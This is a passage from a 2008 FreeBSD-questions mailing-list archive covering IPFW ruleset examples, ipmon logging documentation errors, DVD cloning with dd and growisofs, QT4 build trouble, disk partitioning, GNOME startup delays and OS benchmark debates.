$cmd 20110 set 3 deny all from any to any 135,139,445,593 # SET 4 $cmd 40000 set 4 allow tcp from "table(1)" to any 22 keep-state $cmd 40005 set 4 deny tcp from any to any 22 # SET 29 #$cmd 59000 set 29 count log logamount 100 tcp from any to any # SET 30 $cmd 60000 set 30 fwd 208.70.104.3,53 all from any to 209.167.16.10 53 $cmd 60005 set 30 fwd 208.70.106.59,53 all from any to 209.167.16.30 53 $cmd 64998 deny all from "table(3)" to any $cmd 64999 deny all from any to "table(3)" ### end dummy ruleset ...if you want specific rule examples, just let me know. The above does pretty much what you want it to do. I've purposely left it up to you to do some further research. Tweaking a non-forgiving firewall remotely is not something you want to learn the hard way. The benefit of tables is that you can have one rule, but manually add/remove specific addresses or prefixes on the fly without having to reload the rule. With sets, you can disable an entire block of rules, modify it, and reload it without restarting IPFW, therefore destroying your existing established rules. Steve From patfbsd at davenulle.org Fri Dec 5 06:15:10 2008 From: patfbsd at davenulle.org (Patrick =?ISO-8859-15?Q?Lamaizi=E8re?=) Date: Fri Dec 5 06:15:18 2008 Subject: QT4 compilation problem In-Reply-To: <49392F02.9010902@maydias.com> References: <49392F02.9010902@maydias.com> Message-ID: <20081205151507.44f2d49f@baby-jane> Le Fri, 05 Dec 2008 23:39:14 +1000, Warren Liddell a ?crit : > I have been trying for quite a while now to try and get some > assistance from the various lists, google, forums an even man pages > and so far not a single piece of advise on how to solve my issue and > im getting desperate an ready to throw BSD in for goin back to > godforbid windows, so once i again i ask for some help with why QT > refuses to compile saying ..... > > I have used the little-endian an big-endian flag an it made no > difference, so plz someone have the kindness to help. Looks to be a known problem, see http://mail.kde.org/pipermail/kde-freebsd/2008-December/004094.html (please, use more accurate subject. Thanks). From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 06:27:14 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 06:27:21 2008 Subject: QT4 compilation problem In-Reply-To: <20081205151507.44f2d49f@baby-jane> References: <49392F02.9010902@maydias.com> <20081205151507.44f2d49f@baby-jane> Message-ID: <200812051527.11920.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 15:15:07 Patrick Lamaizi?re wrote: > Le Fri, 05 Dec 2008 23:39:14 +1000, > > Warren Liddell a ?crit : > > I have been trying for quite a while now to try and get some > > assistance from the various lists, google, forums an even man pages > > and so far not a single piece of advise on how to solve my issue and > > im getting desperate an ready to throw BSD in for goin back to > > godforbid windows, so once i again i ask for some help with why QT > > refuses to compile saying ..... > > > > I have used the little-endian an big-endian flag an it made no > > difference, so plz someone have the kindness to help. > > Looks to be a known problem, see > http://mail.kde.org/pipermail/kde-freebsd/2008-December/004094.html Nah, that's called crossposting. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From freebsd at edvax.de Fri Dec 5 07:11:56 2008 From: freebsd at edvax.de (Polytropon) Date: Fri Dec 5 07:12:03 2008 Subject: DVD cloning tool Message-ID: <20081205161112.f9bcddff.freebsd@edvax.de> Hi! I'd like to ask which program is the proper tool to copy a DVD(+|-)R 1:1 to another media of the same kind? It would be great if the program would have a good error tolerance for slightly defective media (which is a usual problem with cheap DVDs). I've always used cdrdao read-cd and afterwards cdrdao write for CD-R, but I cannot use this tool for DVDs, right? So far I've used growisofs to record pre-mastered ISO file systems, but I don't want to make it that complicated (mound source DVD, mkisofs, growisofs / burn this ISO to destination DVD) if it can be avoided. It's not neccessary to perform this operation from one drive to the other, it's okay to have a temporary file (first read, then burn). -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From dweimer at orscheln.com Fri Dec 5 07:37:26 2008 From: dweimer at orscheln.com (Dean Weimer) Date: Fri Dec 5 07:37:33 2008 Subject: IPFilter section in Handbook needs updating Message-ID: I was just setting up ipfilter and ipmon on a FreeBSD 7 server, and noticed that the ipmon and syslog information under the ipfilter section of the handbook is incorrect. The section reads: -----snip----- 31.5.7 IPMON Logging Syslogd uses its own special method for segregation of log data. It uses special groupings called "facility" and "level". IPMON in -Ds mode uses security as the "facility" name. All IPMON logged data goes to security The following levels can be used to further segregate the logged data if desired: LOG_INFO - packets logged using the "log" keyword as the action rather than pass or block. LOG_NOTICE - packets logged which are also passed LOG_WARNING - packets logged which are also blocked LOG_ERR - packets which have been logged and which can be considered short To setup IPFILTER to log all data to /var/log/ipfilter.log, you will need to create the file. The following command will do that: # touch /var/log/ipfilter.log The syslog function is controlled by definition statements in the /etc/syslog.conf file. The syslog.conf file offers considerable flexibility in how syslog will deal with system messages issued by software applications like IPF. Add the following statement to /etc/syslog.conf: security.* /var/log/ipfilter.log The security.* means to write all the logged messages to the coded file location. To activate the changes to /etc/syslog.conf you can reboot or bump the syslog task into re-reading /etc/syslog.conf by running /etc/rc.d/syslogd reload Do not forget to change /etc/newsyslog.conf to rotate the new log you just created above. -----snip----- In trying to configure this I found that ipmon -Dsa doesn't log to security, but logs to local0 instead. Reading the man page for ipmon does in fact state this. However it also list the -L option as being able to change this default behavior, I tried ipmon -DSa -L security, it excepts this, but doesn't actually change the logging to use security. It still only outputs to the syslog using local0, I also tried using ipmon -DSa -L local7 as well, still outputs to local0. It was easy enough to modify my syslog.conf to output the local0.* as well as security.* to the /var/log/security file. However it would be greatly appreciated if someone that actually understands what's going on here could get this info updated. It would have saved me some time, as well as I am sure some other people in the future. Of course it's always possible I am missing something simple here that is causing this discrepancy, please do inform me if I did. It's probably worth mentioning that I am starting ipmon using the rc.conf file with ipmon_enable="YES" and ipmon_flags="-DSa", just in case the /etc/rc.d/ipmon script actually changes the default behavior of ipmon in some way, though I didn't see anything in it that should. And ps wwaux | grep ipmon does display the process running with the flags exactly as stated on the ipmon_flags line of the /etc/rc.conf file. Thanks, ???? Dean Weimer ???? Network Administrator ???? Orscheln Management Co From andrewlylegould at gmail.com Fri Dec 5 07:43:00 2008 From: andrewlylegould at gmail.com (Andrew Gould) Date: Fri Dec 5 07:43:07 2008 Subject: DVD cloning tool In-Reply-To: <20081205161112.f9bcddff.freebsd@edvax.de> References: <20081205161112.f9bcddff.freebsd@edvax.de> Message-ID: On Fri, Dec 5, 2008 at 9:11 AM, Polytropon wrote: > Hi! > > I'd like to ask which program is the proper tool to copy > a DVD(+|-)R 1:1 to another media of the same kind? It > would be great if the program would have a good error > tolerance for slightly defective media (which is a usual > problem with cheap DVDs). > > I've always used cdrdao read-cd and afterwards cdrdao write > for CD-R, but I cannot use this tool for DVDs, right? > > So far I've used growisofs to record pre-mastered ISO > file systems, but I don't want to make it that complicated > (mound source DVD, mkisofs, growisofs / burn this ISO > to destination DVD) if it can be avoided. It's not > neccessary to perform this operation from one drive > to the other, it's okay to have a temporary file > (first read, then burn). > > -- > Polytropon > >From Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > If your CD or DVD is loaded (not mounted) at /dev/cd0, the following command will create an iso image in the current directory: dd if=/dev/cd0 of=filename.iso bs=2048 If you want an easy process, you can put this in a script, followed by a growisofs command to burn the file to another DVD device, allowing the script to overwrite the previous DVD iso file. Or you could write a script where you supply a name for the iso image file to maintain backup images. I hope this helps. Andrew From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 07:45:06 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 07:45:13 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <49393332.4090104@ibctech.ca> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> <49393332.4090104@ibctech.ca> Message-ID: <20081205164342.Y2139@wojtek.tensor.gdynia.pl> > Just for the record, I believe that "those who like living in a world > where they are allowed to use their brain" use whatever OS gets the job > done for a particular task or task set. yes it means that. that's why they don't use windows as it's useless for them From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 07:46:08 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 07:46:20 2008 Subject: DVD cloning tool In-Reply-To: <20081205161112.f9bcddff.freebsd@edvax.de> References: <20081205161112.f9bcddff.freebsd@edvax.de> Message-ID: <20081205164450.B2139@wojtek.tensor.gdynia.pl> > > I'd like to ask which program is the proper tool to copy > a DVD(+|-)R 1:1 to another media of the same kind? It > would be great if the program would have a good error > tolerance for slightly defective media (which is a usual > problem with cheap DVDs). > > I've always used cdrdao read-cd and afterwards cdrdao write > for CD-R, but I cannot use this tool for DVDs, right? > > So far I've used growisofs to record pre-mastered ISO > file systems, but I don't want to make it that complicated > (mound source DVD, mkisofs, growisofs / burn this ISO ^^^^^^^^^^^^^^^^^^^^^^^^ man dd From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 07:46:22 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 07:46:28 2008 Subject: DVD cloning tool In-Reply-To: References: <20081205161112.f9bcddff.freebsd@edvax.de> Message-ID: <20081205164533.B2139@wojtek.tensor.gdynia.pl> > dd if=/dev/cd0 of=filename.iso bs=2048 bs=64k or more. From freebsd at edvax.de Fri Dec 5 07:47:53 2008 From: freebsd at edvax.de (Polytropon) Date: Fri Dec 5 07:48:01 2008 Subject: DVD cloning tool In-Reply-To: References: <20081205161112.f9bcddff.freebsd@edvax.de> Message-ID: <20081205164750.20fce934.freebsd@edvax.de> On Fri, 5 Dec 2008 09:42:58 -0600, "Andrew Gould" wrote: > If your CD or DVD is loaded (not mounted) at /dev/cd0, the following command > will create an iso image in the current directory: > > dd if=/dev/cd0 of=filename.iso bs=2048 > > If you want an easy process, you can put this in a script, followed by a > growisofs command to burn the file to another DVD device, allowing the > script to overwrite the previous DVD iso file. Or you could write a script > where you supply a name for the iso image file to maintain backup images. Thanks, dd is a good suggestion for ISO data. But what I need is a 1:1 copy no matter what the DVD actually contains - I know, I didn't mention this in a clear way, sorry. For example, the cdrdao command I mentioned before does copy the source 1:1 to the destination media, for cases such as - an ISO image (data CD) - audio tracks (music CD) - VCD - SVCD - video files without ISO enclosing (yes, my standalone player runs these, and it's easy to mplayer -fs /dev/cd0 to watch a movie that is an AVI or MPG file) - an ISO image *and* audio tracks I'm searching for the same functionality applyable to DVD, so I can easily clone video DVDs I made, as well as data DVDs or DVDs with audio tracks (yes, this works, too). -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From bri at brianwhalen.net Fri Dec 5 07:48:21 2008 From: bri at brianwhalen.net (Brian) Date: Fri Dec 5 07:48:28 2008 Subject: desperate Newb help In-Reply-To: <200812051511.59715.fbsd.questions@rachie.is-a-geek.net> References: <49392F02.9010902@maydias.com> <200812051511.59715.fbsd.questions@rachie.is-a-geek.net> Message-ID: <4939496B.7010303@brianwhalen.net> Mel wrote: > On Friday 05 December 2008 14:39:14 Warren Liddell wrote: >> I have been trying for quite a while now to try and get some assistance >> from the various lists, google, forums an even man pages and so far not >> a single piece of advise on how to solve my issue and im getting >> desperate an ready to throw BSD in for goin back to godforbid windows, >> so once i again i ask for some help with why QT refuses to compile >> saying ..... >> >> I have used the little-endian an big-endian flag an it made no >> difference, so plz someone have the kindness to help. >> >> ============================= >> >> The target system byte order could not be detected! >> Turn on verbose messaging (-v) to see the final report. >> You can use the -little-endian or -big-endian switch to >> ./configure to continue. >> ===> Script "configure" failed unexpectedly. >> Please report the problem to kde@FreeBSD.org [maintainer] and attach the >> "/usr/ports/databases/qt4-sql/work/qt-x11-opensource-src-4.4.1/src/sql/../. >> .//config.log" > > I have no idea why 'configure' is run. No configure is run for me at all. > Looks like your ports tree isn't sane. How do you upgrade your portstree? > > Instead of using portupgrade, could you just execute the following: > make -C /usr/ports/databases/qt4-sql clean build > If youre new to freebsd, pkg_add -r packagename is infinitely easier than muddling through port build options. Brian From eagletree at hughes.net Fri Dec 5 08:07:37 2008 From: eagletree at hughes.net (Chris) Date: Fri Dec 5 08:07:44 2008 Subject: IPFilter section in Handbook needs updating In-Reply-To: References: Message-ID: On Dec 5, 2008, at 7:07 AM, Dean Weimer wrote: > I was just setting up ipfilter and ipmon on a FreeBSD 7 server, and > noticed that the ipmon and syslog information under the ipfilter > section of the handbook is incorrect. > A couple of years back, I submitted a one liner to some email address of a documentation maintainer. I just looked on the site and couldn't find this address. Instead, it said if you have a change, it suggested putting in a PR. It sounds like it you should create a diff of the current wording and your recommended change. Here is where I was looking: http://www.freebsd.org/docproj/submitting.html > The section reads: > -----snip----- > 31.5.7 IPMON Logging > Syslogd uses its own special method for segregation of log data. It > uses special groupings called "facility" and "level". IPMON in -Ds > mode uses security as the "facility" name. All IPMON logged data > goes to security The following levels can be used to further > segregate the logged data if desired: > LOG_INFO - packets logged using the "log" keyword as the action > rather than pass or block. > LOG_NOTICE - packets logged which are also passed > LOG_WARNING - packets logged which are also blocked > LOG_ERR - packets which have been logged and which can be > considered short > To setup IPFILTER to log all data to /var/log/ipfilter.log, you > will need to create the file. The following command will do that: > # touch /var/log/ipfilter.log > The syslog function is controlled by definition statements in the / > etc/syslog.conf file. The syslog.conf file offers considerable > flexibility in how syslog will deal with system messages issued by > software applications like IPF. > Add the following statement to /etc/syslog.conf: > security.* /var/log/ipfilter.log > The security.* means to write all the logged messages to the coded > file location. > To activate the changes to /etc/syslog.conf you can reboot or bump > the syslog task into re-reading /etc/syslog.conf by running /etc/ > rc.d/syslogd reload > Do not forget to change /etc/newsyslog.conf to rotate the new log > you just created above. > -----snip----- > > In trying to configure this I found that ipmon -Dsa doesn't log to > security, but logs to local0 instead. Reading the man page for > ipmon does in fact state this. However it also list the -L option > as being able to change this default behavior, I tried ipmon -DSa - > L security, it excepts this, but doesn't actually change the > logging to use security. It still only outputs to the syslog using > local0, I also tried using ipmon -DSa -L local7 as well, still > outputs to local0. It was easy enough to modify my syslog.conf to > output the local0.* as well as security.* to the /var/log/security > file. However it would be greatly appreciated if someone that > actually understands what's going on here could get this info > updated. It would have saved me some time, as well as I am sure > some other people in the future. Of course it's always possible I > am missing something simple here that is causing this discrepancy, > please do inform me if I did. It's probably worth mentioning that > I am starting ipmon using the rc.conf file with ipmon_enable="YES" > and ipmon_flags="-DSa", just in case the /etc/rc.d/ipmon script > actually changes the default behavior of ipmon in some way, though > I didn't see anything in it that should. And ps wwaux | grep ipmon > does display the process running with the flags exactly as stated > on the ipmon_flags line of the /etc/rc.conf file. > > Thanks, > Dean Weimer > Network Administrator > Orscheln Management Co > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions- > unsubscribe@freebsd.org" > From jerrymc at msu.edu Fri Dec 5 08:08:01 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Fri Dec 5 08:08:08 2008 Subject: UFS partitioning In-Reply-To: <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> Message-ID: <20081205160249.GA5954@gizmo.acns.msu.edu> On Fri, Dec 05, 2008 at 03:58:23AM +1000, Da Rock wrote: > On Thu, 2008-12-04 at 10:49 -0500, Jerry McAllister wrote: > > On Thu, Dec 04, 2008 at 12:57:45PM +1000, Da Rock wrote: > > > > > > > > On Wed, 2008-12-03 at 20:55 -0500, Robert Huff wrote: > > > > Da Rock writes: > > > > > > > > > Excuse my nose in here- I just have a couple of questions. > > > > > > > > > > 1) It IS possible to boot from a dedicated disk? > > > > > > > > Yes. Can't remember the last time I used anything else. > > > > > > So you've never booted from a disk that has been partitioned as a file > > > system? > > > > You are getting your terms scrambled here. > > Partitioning has nothing directly to do with creating a file system. > > You can build a filesystem (with newfs) on just about any piece > > of disk whether it is the whole disk, a slice of the disk or a partition > > of a slice. > > > > Making one of those divisions bootable is also pretty much an > > independant operation too, though as far as I know, only whole > > disks and slices can be made bootable but not partitions - the > > fact that the partition contains the system files is not what > > makes it bootable. Being bootable is dependant on the boot sector > > which gets the control from either the BIOS or an MBR and then finds > > the system partition (/), mounts it (Read Only) and finds system files > > and starts those things running. > > Yes, I would say I'm getting my terms mixed up- fortunately the actual > reality is clear in my head (hard as that is to believe..). > > I have only one more question then: Why would you use "dangerously > dedicated mode" at all? I can only see where it might be useful for > files, no advantage to being a boot sector. The main reason is because a person doesn't want to bother making a slice and partitions - so you can get by without it. It has no relation to being bootable. The BIOS hands off control to what it thinks is a boot sector and it doesn't matter to it whether that is really an MBR that then checks for boot sectors in slices and other MBRs on disks or if it is really a boot sector that starts the reads in the OS files and starts the actual boot. It is all the same. > > It was some time ago that I read up on all this, but what I remembered > was that BSD could use a dedicated disk- but only BSD could read and > write from it and this is dangerous. Maybe what I was reading was > regarding bootable and that was considered dangerous... At any rate I'm > very clear now. Again, nothing to do with making a disk bootable. That is determined by two things: the presence of the bootable flag; a properly constructed boot sector to transfer control to. The 'dangerously dedicated' issue is as you say first; BSD can use the dedicated disk both read and write, but no one else (other OSen) can - for anything. Dangerous is probably overstating the issue a bit, but became the popular terminology. I seem to remember that way back there were some BIOS implementations that had trouble with a 'dangerously dedicated' disk and so would not boot properly, but the main issue is being able to read/write the disk. ////jerry > > Thanks for all the information guys- cheers > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 08:18:43 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 08:18:53 2008 Subject: DVD cloning tool In-Reply-To: <20081205164750.20fce934.freebsd@edvax.de> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> Message-ID: <20081205171703.B2281@wojtek.tensor.gdynia.pl> > > Thanks, dd is a good suggestion for ISO data. But what I need once again please do man dd dd reads sector by sector. it won't work only for audio-sectors on CD , on DVD movies are stored using "normal" 2K sectors From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 08:22:50 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 08:22:58 2008 Subject: DVD cloning tool In-Reply-To: <20081205161112.f9bcddff.freebsd@edvax.de> References: <20081205161112.f9bcddff.freebsd@edvax.de> Message-ID: <200812051722.47651.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 16:11:12 Polytropon wrote: > So far I've used growisofs to record pre-mastered ISO > file systems, but I don't want to make it that complicated > (mound source DVD, mkisofs, growisofs / burn this ISO > to destination DVD) if it can be avoided. It's not > neccessary to perform this operation from one drive > to the other, it's okay to have a temporary file > (first read, then burn). From the manpage: To use growisofs to write a pre-mastered ISO-image to a DVD: growisofs -dvd-compat -Z /dev/dvd=image.iso where image.iso represents an arbitrary object in the filesystem, such as file, named pipe or device entry. Nothing is growing here and com- mand name is not intuitive in this context. So, while untested by me: growisofs -dvd-compat -Z /dev/cd1=/dev/cd0 should work. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From fernando.apesteguia at gmail.com Fri Dec 5 08:23:11 2008 From: fernando.apesteguia at gmail.com (=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=) Date: Fri Dec 5 08:23:19 2008 Subject: Gnome slow at start up In-Reply-To: <200812050558.05907.fbsd.questions@rachie.is-a-geek.net> References: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> <200812050558.05907.fbsd.questions@rachie.is-a-geek.net> Message-ID: <1bd550a00812050823nf1a79b2g2f4419cf79b50538@mail.gmail.com> On Fri, Dec 5, 2008 at 5:58 AM, Mel wrote: > On Thursday 04 December 2008 19:51:32 Fernando Apestegu?a wrote: >> Hi all, >> >> I'm running FreeBSD 7.1-BETA 2 and I have some problems with Gnome at start >> up. >> >> When I type startx, I get the gnome desktop and the nice border-less >> window in which I can see components loading. However, after the >> gnome-panel icon, it seems to stall. >> some time later (around a minute or two) nautilus seems to run and I >> get all the icons at my desktop. >> >> I have >> dbus_enable="YES" >> hald_enable="YES" >> in my rc.conf and I can see, both are running. >> >> I have the entries suggested in >> http://www.freebsd.org/gnome/docs/faq2.html#q20 added to my /etc/hosts >> and I can verify with ping that I don't have any problems with name >> resolution. >> I also have both net.inet.tcp.backhole and net.inet.udp.blackhole set to 0. >> >> What's the problem? How can I see which process is stalled during start up? > > Does this help? > http://forums.freebsd.org/showthread.php?t=445 Hi Mel, thanks a lot. The --purge-delay=5000 and --warn-delay=5000 options for gnome-session fixed the problem. However, this triggers another question. Since these options decrease the default timeouts (30000) for clients to connect and clients to respond respectively, doesn't this mean some process, acting like a gnome client is stalled or taking too much time to initialize? Does this worth a PR? Thanks > > -- > Mel > > Problem with today's modular software: they start with the modules > and never get to the software part. > From nvass at teledomenet.gr Fri Dec 5 08:25:34 2008 From: nvass at teledomenet.gr (Nikos Vassiliadis) Date: Fri Dec 5 08:25:41 2008 Subject: IPSec + vpn + multicast In-Reply-To: <11691.95194.qm@web83803.mail.sp1.yahoo.com> References: <11691.95194.qm@web83803.mail.sp1.yahoo.com> Message-ID: <200812051805.38800.nvass@teledomenet.gr> On Wednesday 03 December 2008 17:02:05 nrml nrml wrote: > Hello, > > I followed the handbook instructions and the ipsec(4) man page to setup > vpn-over-ipsec for our company's site-to-site connection via our > dedicated T1. Anyway I have it working but I found that I need to make > sure that multicast traffic can traverse through the two subnets. I have > the following options in my kernel: > > FreeBSD somebox.domain.com 7.1-PRERELEASE FreeBSD 7.1-PRERELEASE #1: Fri > Nov 21 08:11:47 PST 2008 > root@somebox.domain.com:/usr/obj/usr/src/sysKERNEL i386 device > crypto > options IPSEC > options IPSEC_FILTERTUNNEL > options IPSEC_DEBUG #debug for IP Security > options IPSEC_NAT_T > The kernel does not support multicast routing by default, you need to add "options MROUTING" to your kernel cf. But then again you have to use something to exchange that routing information to the other peers, something like XORP. > ipsec-tools: ... > Does anyone know how I can accomplish this? The goal is to try and have > transparency between the two sites Could you elaborate a bit on "transparency between the two sites"? > to and try and get Bonjour working. I am not familiar with Bonjour, but it seems that multicast routing is not the way to go... Maybe you can achieve that same effect using bridging and packet filtering to block what ever is supposed to be local traffic. Nikos From ana.krahmer at ttu.edu Fri Dec 5 08:29:37 2008 From: ana.krahmer at ttu.edu (Krahmer, Ana) Date: Fri Dec 5 08:29:44 2008 Subject: Anyone tried Dspace on FreeBSD? Message-ID: Has anyone here tried running DSpace on FreeBSD? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Ana Krahmer Programmer/Analyst III TTU Southwest Collection Phone: 806-742-9020 x277 Fax: 806-742-3157 "If you don't find it in the index, look very carefully through the entire catalogue." ~~Sears Consumer Guide ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From perrin at apotheon.com Fri Dec 5 08:30:36 2008 From: perrin at apotheon.com (Chad Perrin) Date: Fri Dec 5 08:30:49 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081205130852.P1635@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <1228470808.2741.14.camel@frodon.be-bif.ulb.ac.be> <20081205130852.P1635@wojtek.tensor.gdynia.pl> Message-ID: <20081205163021.GB25258@kokopelli.hydra> On Fri, Dec 05, 2008 at 01:09:36PM +0100, Wojciech Puchar wrote: > >a Windows system it's the virtual memory management, with the same > >amount of RAM Windows swaps a *lot* more. > > it may be not VM subsystem but memory usage of windoze software. or both. > > again - it's too different to be benchmarked There's no reason one cannot generate benchmarks comparing the two. You just have to choose your benchmark tasks carefully. Of course, microbenchmarks are usually suspect no matter what systems you're testing -- whether it's FreeBSD vs. MS Windows, OpenBSD vs. Linux 2.6.x, or Ruby 1.9 vs. Python 3.0, there are always ways to arrange your benchmark tests to favor whatever you want to favor. That doesn't change the fact that FreeBSD vs. MS Windows benchmark tests can be every bit as (un)useful as any other benchmark tests. They're not "just too different". -- Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth C. Hoare: "Two ways of constructing software: (1) make it so simple that there are obviously no bugs, (2) make it so complicated that there are no obvious bugs. Making it simple is far more difficult." -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081205/00e4ecce/attachment.pgp From perrin at apotheon.com Fri Dec 5 08:32:21 2008 From: perrin at apotheon.com (Chad Perrin) Date: Fri Dec 5 08:32:27 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: References: <0016e64ca7d690e38f045d45227d@google.com> Message-ID: <20081205163206.GC25258@kokopelli.hydra> On Fri, Dec 05, 2008 at 12:20:49PM +0100, Ivan Voras wrote: > af300wsm@gmail.com wrote: > > Hi, > > > > I don't even know if this has been done before, nor do I know for sure > > if it's a sound comparison. Never the less, someone posted, in response > > to someone else here just a few days ago, some very nice benchmarks > > provided by Kris ?Kenneway? I could be wrong on the last name, it just > > seems to me that's a last name I've seen with Kris frequently (my > > apologies Kris if I'm wrong). Using the URL that the other poster, > > posted, I poked around the other *.html files in that directory, but did > > not find any with FreeBSD pitted against windows. > > > > I'm just curious to see how it looks for my own sanity's sake. At work, > > someone got the grand idea that we should move to Windoze embedded (CE > > and XPe) and it's been quite discouraging I must say, though I must > > admit, it's nice to actually know why Windows is ugly underneath. From a > > programming perspective, it's just not simplistic. Anyway, I digress, > > I'm just curious to see how things compare to Windows on similar > > benchmarks to what Kris provided if its ever been done. > > I've done some benchmarking of Windows file system IO (NTFS) using known > tools like bonnie++, blogbench and postmark under cygwin and the results > are abysmal. It might be due to cygwin, and it might not. I've used > Windows Enterprise Server 2003. > > You'll probably not find any difference in computational (numeric) tasks > and fairly bad results in tasks that do a lot of system work. While the usefulness of such benchmarks may be suspect, I'd still be interested in seeing your results. -- Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth Anne McClintock, University of Wisconsin: "The decisions that really matter are made outside the democratic process." -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081205/9a1c0f05/attachment.pgp From bruce at cran.org.uk Fri Dec 5 08:35:03 2008 From: bruce at cran.org.uk (Bruce Cran) Date: Fri Dec 5 08:35:13 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <0016e64ca7d690e38f045d45227d@google.com> References: <0016e64ca7d690e38f045d45227d@google.com> Message-ID: <20081205083457.283d3deb@tau> On Fri, 05 Dec 2008 04:30:20 +0000 af300wsm@gmail.com wrote: > I'm just curious to see how it looks for my own sanity's sake. At > work, someone got the grand idea that we should move to Windoze > embedded (CE and XPe) and it's been quite discouraging I must say, > though I must admit, it's nice to actually know why Windows is ugly > underneath. From a programming perspective, it's just not simplistic. > Anyway, I digress, I'm just curious to see how things compare to > Windows on similar benchmarks to what Kris provided if its ever been > done. > The userland win32 API might be rather unpleasant but I was surprised to learn to driver interface in the kernel is actually quite nice, and isn't too dissimilar to FreeBSD in some ways. In terms of performance Windows-based machines have made it into the Top500 list of supercomputers, so at the high end performance must be acceptable at least. -- Bruce Cran From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 08:38:48 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 08:38:55 2008 Subject: Gnome slow at start up In-Reply-To: <1bd550a00812050823nf1a79b2g2f4419cf79b50538@mail.gmail.com> References: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> <200812050558.05907.fbsd.questions@rachie.is-a-geek.net> <1bd550a00812050823nf1a79b2g2f4419cf79b50538@mail.gmail.com> Message-ID: <200812051738.46248.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 17:23:10 Fernando Apestegu?a wrote: > > http://forums.freebsd.org/showthread.php?t=445 > > Hi Mel, thanks a lot. > > The --purge-delay=5000 and --warn-delay=5000 options for gnome-session > fixed the problem. > > However, this triggers another question. Since these options decrease > the default timeouts (30000) for clients to connect and clients to > respond respectively, doesn't this mean some process, acting like a > gnome client is stalled or taking too much time to initialize? > > Does this worth a PR? Definitely worth a PR or at least gather commonalities in that forum thread, cause it happens on different releases and seemingly vanilla systems. I don't use gnome, so can't help there. Maybe move it over to the gnome list. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From perrin at apotheon.com Fri Dec 5 08:45:51 2008 From: perrin at apotheon.com (Chad Perrin) Date: Fri Dec 5 08:45:59 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <200812051426.51597.fbsd.questions@rachie.is-a-geek.net> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205130950.W1635@wojtek.tensor.gdynia.pl> <20081205075818.0dac4e82@scorpio> <200812051426.51597.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081205164537.GD25258@kokopelli.hydra> On Fri, Dec 05, 2008 at 02:26:50PM +0100, Mel wrote: > > Well, one can find stories like this of course: > http://www.postgis.org/documentation/casestudies/globexplorer/ > > But I'm sure one can find some of the contrary. It does show the value of the > benchmark: Is it economically viable to use configuration X vs Y, and > performance is only one factor of the descision. Actually, the only other story that comes immediately to mind of a PostgreSQL vs. Oracle comparison is this one: http://www.enterprisedb.com/about/news_events/press_releases/06_27_07.do . . . so, in my experience at least, stories to the contrary are pretty hard to 